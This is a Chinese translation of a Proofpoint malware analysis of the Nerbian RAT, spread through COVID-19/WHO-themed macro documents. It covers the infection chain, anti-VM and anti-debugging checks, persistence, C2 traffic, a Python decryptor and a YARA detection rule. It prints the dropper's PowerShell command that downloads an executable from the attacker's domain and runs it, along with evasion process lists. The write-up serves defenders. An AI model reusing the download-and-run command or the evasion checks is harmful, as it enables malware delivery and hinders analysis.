使用 COVID-19 主题的 Nerbian RAT 具有复杂的规避技术
2022-5-23 11:50:0 Author: www.4hou.com(查看原文) 阅读量:22 收藏

导语:新发现的Nerbian RAT利用了分布在多个阶段的多个反分析组件,包括多个开源库。它是用与操作系统(OS)无关的Go编程语言编写的,为64位系统编译,并利用多个加密例程来进一步规避网络分析。

主要发现

· Proofpoint分析了一种新型恶意软件变体,该变体利用了重要的反分析和反逆向功能。

· 该恶意软件以Go编程语言编写,使用多个开源Go库进行恶意活动。

· 该恶意软件名为内尔比亚(Nerbian)远程访问木马(RAT),利用COVID-19和世界卫生组织的主题进行传播。

· Proofpoint研究人员根据恶意软件代码中的命名函数来命名恶意软件。内尔比亚是小说《堂吉诃德》中虚构的一个地方。

概述

新发现的Nerbian RAT利用了分布在多个阶段的多个反分析组件,包括多个开源库。它是用与操作系统(OS)无关的Go编程语言编写的,为64位系统编译,并利用多个加密例程来进一步规避网络分析。Go是威胁行为者使用的一种越来越流行的语言,这可能是因为它的进入门槛较低且易于使用。

活动详情

从2022年4月26日开始,Proofpoint研究人员观察到了少量(少于100条消息)电子邮件正在传播恶意软件,它们被发送到了多个行业。这一威胁对意大利、西班牙和英国的实体造成了不成比例的影响。这些电子邮件声称代表世界卫生组织(WHO),提供有关COVID-19的重要信息。安全研究员pr0xylife在Twitter上也注意到了恶意软件样本。Proofpoint研究人员观察到了以下指标和附件:

发件人:[email protected][.]com, [email protected][.]com

主题:WHO, World Health Organization

附件名称和类型:who_covid19.rar with who_covid19.doc inside, covid19guide.rar with covid19guide.doc inside, covid-19.doc

声称来自世卫组织并包含与COVID-19相关的安全措施的消息包括包含宏的附加Word文档。

1.png

图 1:声称来自 WHO 的示例电子邮件

2.png

图 2:附加的 Word 文档

这些电子邮件包含一个包含宏的Word附件(有时用RAR压缩)。启用宏后,该文档会显示与COVID-19安全相关的信息,特别是有关自我隔离和照顾COVID-19患者的信息。有趣的是,这种手段类似于2020年大流行初期使用的主题,特别是假冒世卫组织来传播有关该病毒的信息。

3.png

图 3:包含 COVID-19 指南的文档诱饵屏幕截图,特别是用户在对恶意文档启用宏时看到的内容

除了伪装成世界卫生组织外,该文件似乎还包含来自爱尔兰卫生服务执行机构(HSE)、爱尔兰政府和爱尔兰全国盲人委员会(NCBI)的标识。

4.png

图 4:带有与政府和非营利实体相关的附加徽标的文件

攻击路径

当用户在此文档上启用宏时,该文档会执行一个嵌入的宏,该宏会删除一个包含以下内容的.bat文件:

powershell  IWR -Uri  hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog  -OutFile C:\Users\[username]\AppData\Roaming\UpdateUAV.exe ;C:\Users\[username]\AppData\Roaming\UpdateUAV.exe

此批处理文件对URL执行PowerShell调用Web请求(IWR):

hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog,

它将下载的文件重命名为UpdateUAV.exe,并将其放入:

C:\Users\[current user]\AppData\Roaming\UpdateUAV.exe.
Dropper: UpdateUAV.exe

UpdateUAV.exe是最初从恶意Word文档下载的有效payload。它是一个64位的可执行文件,用Golang编写,大小为3.5MB(UPX packed)。用Go语言创建的可执行文件往往比大多数其他可执行文件略大。很可能,此恶意软件用UPX打包,以减少正在下载的可执行文件的整体大小。解压后,文件总大小为6.6MB。

5.png

图 5:UpdateUAV.exe 负载与 UPX 压缩在一起,可能是为了减小其大小

Proofpoint分析师在执行期间提取了解密的数据,由此产生的内存揭示了关于样本的其他信息。

功能性

UpdateUAV.exe是Nerbian RAT的dropper。这一结论是通过多次不同的观察得出的,首先是样本中嵌入的字符串:

        K:/W_Work/Golang/src/RAT_Dropper/main_gen.go

根据源路径,这个可执行文件是一个dropper。Proofpoint根据dropper中的一个函数名称将此恶意软件命名为“Nerbian RAT”。具体函数名称为“main_downloadNerbian”,如下图所示。

6.png

图 6:Nerbian RAT 主要功能代码

在一些散布在二进制文件中的Go函数中,还有其他对“Nerbian”的引用。

7.png

图 7:dropper 用于下载并存储在受感染系统上的 RAT 函数

代码重用

大多数软件开发人员,包括恶意软件开发人员,都使用现有的软件包。UpdateUAV可执行文件是Nerbian RAT的释放器,具有大量代码重用功能,其中包含引用各种GitHub项目的字符串:

github.com/go-ole/go-ole – Go bindings for Windows COM (Component Object Model – inter-process communication)
github.com/gonutz/w32/v2 – Go bindings for the Win32 API
github.com/mitchellh/go-ps – Library implements OS-specific APIs to list and manipulate processes
github.com/StackExchange/wmi – Go package for Windows WMI, providing a WQL interface

在所有这些对外部项目的引用中,最有趣的是:

github.com/p3tr0v/chacal/

反调试、反虚拟机、反取证

8.png

图 8:Chacal GitHub 页面

Chacal被描述为“Red Team和渗透测试者的Golang反虚拟机框架”。但是,项目中也涉及了几个函数和引用来使调试和逆向工程更加困难。

如果遇到以下任何一种情况,dropper将停止执行:

· 系统上的硬盘大小小于一定大小。Chacal中定义的默认值为100GB。

· 根据WMI,硬盘的名称包含以下字符串之一:

1."virtual"

2."vbox"

3."vmware"

· 查询的MAC地址返回以下任一OUI值:

00:0c:29, 00:50:56, 08:00:27, 52:54:00, 00:21:F6, 00:14:4F, 00:0F:4B, 00:10:E0, 00:00:7D, 00:21:28, 00:01:5D, 00:21:F6, 00:A0:A4, 00:07:82, 00:03:BA, 08:00:20, 2C:C2:60, 00:10:4F, 00:0F:4B, 00:13:97, 00:20:F2, 00:14:4F

· 在进程列表中遇到以下任何逆向工程/调试程序:

processhacker.exe、procmon.exe、pestudio.exe、procmon64.exe、x32dbg.exe、x64dbg.exe、CFF Explorer.exe、procexp64.exe、procexp.exe、pslist.exe、tcpview.exe、tcpvcon.exe、dbgview .exe、RAMMap.exe、RAMMap64.exe、vmmap.exe、ollydbg.exe、agent.py、autoruns.exe、autorunsc.exe、filemon.exe、regmon.exe、idaq.exe、idaq64.exe、ImmunityDebugger.exe 、Wireshark.exe、dumpcap.exe、HookExplorer.exe、ImportREC.exe、PETools.exe、LordPE.exe、SysInspector.exe、proc_analyzer.exe、sysAnalyzer.exe、sniff_hit.exe、windbg.exe、joeboxcontrol.exe、joeboxserver .exe、joeboxserver.exe、ResourceHacker.exe、Fiddler.exe、httpdebugger.exe

· 进程列表中存在以下任何内存分析/内存篡改程序:

DumpIt.exe、RAMMap.exe、RAMMap64.exe、vmmap.exe

· 时间测量功能检查执行特定功能所用的时间量是否被认为是“过多”。如果达到时间阈值,恶意软件会认为它正在被调试,并将退出。

除了Chacal提供的反逆向检查之外,二进制文件中还存在其他反分析检查,包括:

· 使用IsDebuggerPresent API确定是否正在调试可执行文件

· 查询以下网络接口名称:

1.Intel® PRO/1000 MT Network Connection

2.Loopback Pseudo-Interface 1

3.Software Loopback Interface 1

下载、执行和持久化

在分析样本的情况下,dropper尝试从以下位置下载其有效负载:

hxxps://www[.] fernandestechnical [.]com/pub/media/ssl

并将RAT保存到:

C:\ProgramData\USOShared\MoUsoCore.exe

接下来,dropper将尝试建立一个名为MicrosoftMouseCoreWork的计划任务,从而每小时启动RAT有效负载并建立持久性。

8.8.png

dropper的最终目标是下载名为SSL的可执行文件,将其保存为MoUsoCore.exe,并配置一个计划任务以每小时运行一次作为其主要持久性机制。

有效负载--MoUsoCore.exe

MoUsoCore.exe是dropper二进制文件UpdateUAV.exe尝试下载并为其建立持久性的有效负载的名称。就像dropper本身一样,它是用Go编写的,并且是UPX压缩的。压缩状态下的二进制文件大小为5.6MB,解压状态下为9.2MB。

功能和配置设置

Nerbian RAT似乎支持多种不同的功能,其中大部分由二进制文件本身的加密配置设置决定。Proofpoint确定了此示例使用的各种配置设置:

"185.121.139[.]249"
https://www[.]fernandestechnical[.]com/pub/health_check.php
8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d
"100"
\\\\ProgramData\\\\Microsoft OneDrive\\\\setup
"rev.sav"
 
===Configuration===
default_communication_protocol: %s
default_conn_interval: %d
b_use_alive_signal: %t
start_worktime: %d
end_worktime: %d
alive_interval: %d
b_use_secondary_host: %t
b_use_sleep_filetransfer: %t
time_sleep_filetransfer: %d
retry_count_filetransfer: %d
connection_error_sleep_time: %d
bpreflaged_use_backupserver: %t
flagged_time_backupserver: %s
switch_backupserver_time: %d
primary_host: %s
secondary_host: %s
primary_http_proxyserver: %s
secondary_http_proxyserver: %s
working_directory: %s
b_run_cmd_result_outfile: %t
idle_state_limit_time: %d
st:%d
nt: %d

其中许多字符串都与设置恶意软件的操作参数有关,例如它与哪些主机通信、它使用keep-alive消息检查C2域和IP地址的频率、恶意软件的首选工作目录以及它的运行时间等等。

185[.]121[.]139[.]249和hxxps://www[.]fernandestechnical[.]com/pub/health_check.php很可能是用于keep-alives和check-ins的指定的C2备份域和URI。

键盘记录

RAT似乎有记录击键的功能,并似乎能够将它们加密写入上述配置设置中提到的rev.sav文件。

屏幕截图

与dropper不同的是,RAT利用大量预先存在的Go代码来执行其许多功能:

github.com/lxn/win
github.com/go-ole/go-ole
github.com/StackExchange/wmi
github.com/digitalocean/go-smbios/smbios
github.com/AllenDang/w32.init

同样,在所有这些中,一个更有趣的外部引用是以下GitHub存储库:

           github.com/kbinani/screenshot/

这个repo是一个Go库,用于在各种不同的操作系统上执行屏幕截图。

C2通信

与大多数现代恶意软件系列一样,此RAT更喜欢通过SSL处理其通信。Proofpoint观察到两种类型的网络流量,第一种是对C2域/IP地址的keepalive或者heartbeat。

9.png

图 9:到 C2 域/IP 地址的 Heartbeat/Keep-alive 流量。请忽略 /pub/health_check.php 末尾的额外“p”

观察到的其他通信是对配置的C2域和IP地址的POST请求,请求中上传了大量HTTP表单数据:

10.png

图 10:请注意此 POST 请求中每个表单的 Content-Disposition 字段中的不同名称。所有这些数据都经过 base64 编码和加密,无论 C2 通信是通过 HTTP 还是 HTTPS 进行的

发布到C2服务器的表单数据名称包括:

addr_post – IP 地址发布到

port_post – 网络端口发布到

auth_post – 可能是初始化C2通信后使用的per-session加密密钥或密码

session_key – 唯一未加密的字段。这是一个字符串的组合,该字符串作为一种活动标识符,通过SMBIOS Golang模块检索到的值的散列,以及与C2服务器(在本例中为“windows”)通信的系统的操作系统名称。

data_post – 从受害者主机中泄露的数据

上面的所有字段,除了session_key表单数据字段,都使用了唯一的加密方案。POST的前70个字节是“garbage”,而接下来的24个字节包含可用于解密剩余数据的AES密钥。Proofpoint研究人员开发了一个Python脚本,可以解密这些发布的数据:

import malduck
import binascii
data = "BgxxweBaPoZVPcfLoQFSHMfqqeitJaZjoSKOBrhsCxtDMYGxPUHsKYcXetaTSJaSULtqZQAwoDiTrCtDpVKvaLxjZPSLcLBvlyREEguzuO0Z8119x2/7cc2XoU2w=="
 
 
def decrypt_post_param(base64_encoded_content):
    junk = base64_encoded_content[:70]
    key = base64_encoded_content[70:70+32]
    print("[+] key: %s" % key)
    crypted_data = base64_encoded_content[70+32:].encode("utf-8")
    base64_decoded = malduck.base64.decode(crypted_data)
    iv = key[:16].encode("utf-8")
    full_data = base64_decoded
    print("[+] crypted data [%d]: %s" % (len(full_data), binascii.hexlify(full_data)))
    return malduck.aes.cbc.decrypt(key.encode("utf-8"), iv, full_data)
 
 
print(decrypt_post_param(data))

12.png

图 11:用于解密发布数据的 Python 脚本

使用上面的代码,用户可以解密发布的数据。在这种情况下,Proofpoint选择从内部沙盒运行的addr_post字段解密base64编码的数据。用户需要将数据变量替换为他们希望解密的base64编码块,或者修改脚本以接受输入。

然而,如上所述,session_key字段没有加密,它是base64编码的。这个字段包含什么?

12.png

图 12:session_key 字段的值只是一个连接字符串,包含三个经过 base64 编码的值

当使用From Base64的recipe提交给Cyberchef时,base64编码的字符串:

OGZmZTQ1MDU5N2NiYmZhNWE3MDNlMjNhOGI2YmJkYWVkYTc2YmFkZjJiMDM1ZTc1ZGU1ZmZkYjNhZjA3MjcwZDoyNWI0ZWJjYTRiYmM4MmFiNWFlMmU1MTdjMjlkMzNlNzp3aW5kb3dz

解码为:

8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d:25b4ebca4bbc82ab5ae2e517c29d33e7:windows

该字符串包含三个值,用“:”字符连接和分隔。Proofpoint评估第一个值,8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d是某种植入物或活动标识符,而25b4ebca4bbc82ab5ae2e517c29d33e7是从使用上述go-smbios库收集的主机标识符数据得出的值,而最终值是受损主机(windows)的操作系统。

13.png

图 13:Nerbian RAT 流程

评估

这是一个复杂的恶意软件,包括三个阶段:

· Maldoc网络钓鱼诱饵

· 执行各种环境检查的Dropper - 反逆向和反虚拟机检查

· Nerbian RAT – 加密配置文件,确保数据加密到C2

尽管采取了所有这些复杂和谨慎得到措施来保护传输中的数据并“审查”受感染的主机,但dropper和RAT本身并没有在使用UPX压缩的样本之外使用严重的混淆,可以说这不一定是为了混淆,只是为了减小可执行文件的大小。

此外,由于引用GitHub存储库的字符串,很容易推断RAT和dropper的大部分功能 - 特别是Chacal和屏幕截图存储库公开了dropper和RAT的部分功能。

为什么是Nerbian RAT?

起初,在互联网上很难找到任何提及“Nerbian”的内容,直到Proofpoint分析师在《堂吉诃德》中发现了这段话:

你再掉过头来向这边看,你会看到统率这支军队的是常胜将军蒂莫内尔·德卡卡霍纳,新比斯开的王子。他的甲胄上蓝、绿、白、黄四色相间,棕黄色的盾牌上有只金猫,还写着一个‘缪’字,据说是他美丽绝伦的情人、阿尔加维的公爵阿尔费尼肯的女儿缪利纳名字的第一个字。另外一位骑着膘马,甲胄雪白,持没有任何标记的白盾的人是位骑士新秀,法国人,名叫皮尔·帕潘,是乌特里克的男爵。还有一位正用他的包铁脚后跟踢那匹斑色快马的肚子,他的甲胄上是对置的蓝银钟图案,那就是内尔比亚强悍的公爵、博斯克的埃斯帕塔菲拉尔多。他的盾牌上的图案是石刁柏,上面用卡斯蒂利亚语写着:‘为我天行道’。

内尔比亚是伟大小说《堂吉诃德》中的一个虚构地方。来自内尔比亚的骑士有一个盾牌,上面有芦笋的纹章和写着“Try your luck”的横幅。

14.png

图 14:Nerbia 是小说《堂吉诃德》中虚构的地方。内尔比亚骑士戴着一个带有芦笋纹章的盾牌,上面有一句卡斯蒂利亚语的西班牙格言,上面写着“Rastrea Mi Suerte”。大致翻译为“试试你的运气”。请注意,这个徽章与小说无关,这是 Proofpoint 的 研究人员随意创建的

许多引用Nerbia的字符串都位于配套的dropper(UpdateUAV.exe)中。RAT有效负载本身(MoUsoCore.exe)中没有对Nerbia的引用。Proofpoint认为dropper和RAT都是由同一实体创建的,虽然dropper将来可能会被修改以提供不同的有效负载,但此时dropper是静态配置的,以便在分析时下载并为这个特定的有效载荷建立持久性。。

IOC指标

image.png

检测

网络

Snort和Suricata规则在ETOPEN规则集中的SID下可用:
2036426 - ET MALWARE Nerbian RAT CnC Checkin
2036427 - ET MALWARE Nerbian RAT Data Exfiltration

静态

rule Nerbian_RAT
 
{
 
    meta:
 
        author = "ptrouerbach"
 
        reference = "5e6c5a9fda2d20125f6f24e37e8a217a39ff0a5cfddc07ddfdb18049d9ea4597"
 
        malfamily = "NerbianRAT"
 
 
 
    strings:
 
        $args_p = "p-" ascii
 
        $args_s = "s-" ascii
 
        $args_h = "h-" ascii
 
        $args_P = "P-" ascii
 
 
 
        $hardcoded_aes_key = { 17E87F581F1DF8D6129D65FD50CEB3DD6C4E1C223077CD7D4C595DA6C3DF92B2 }
 
       
 
 $param_auth = "auth_post" ascii
 
        $param_session = "session_key" ascii
 
        $param_data = "data_post" ascii
 
        $param_addr = "addr_post" ascii
 
        $param_port = "port_post" ascii
 
 
 
    condition:
        uint16be(0) == 0x4D5A
        and ($hardcoded_aes_key or (all of ($param*) and all of ($args*)))
        and filesize < 10MB
}

致谢

Proofpoint安全研究人员要感谢安全研究人员pr0xylife在社交媒体上分享的他对这种威胁的观察。

本文翻译自:https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/VngB
如有侵权请联系:admin#unsafe.sh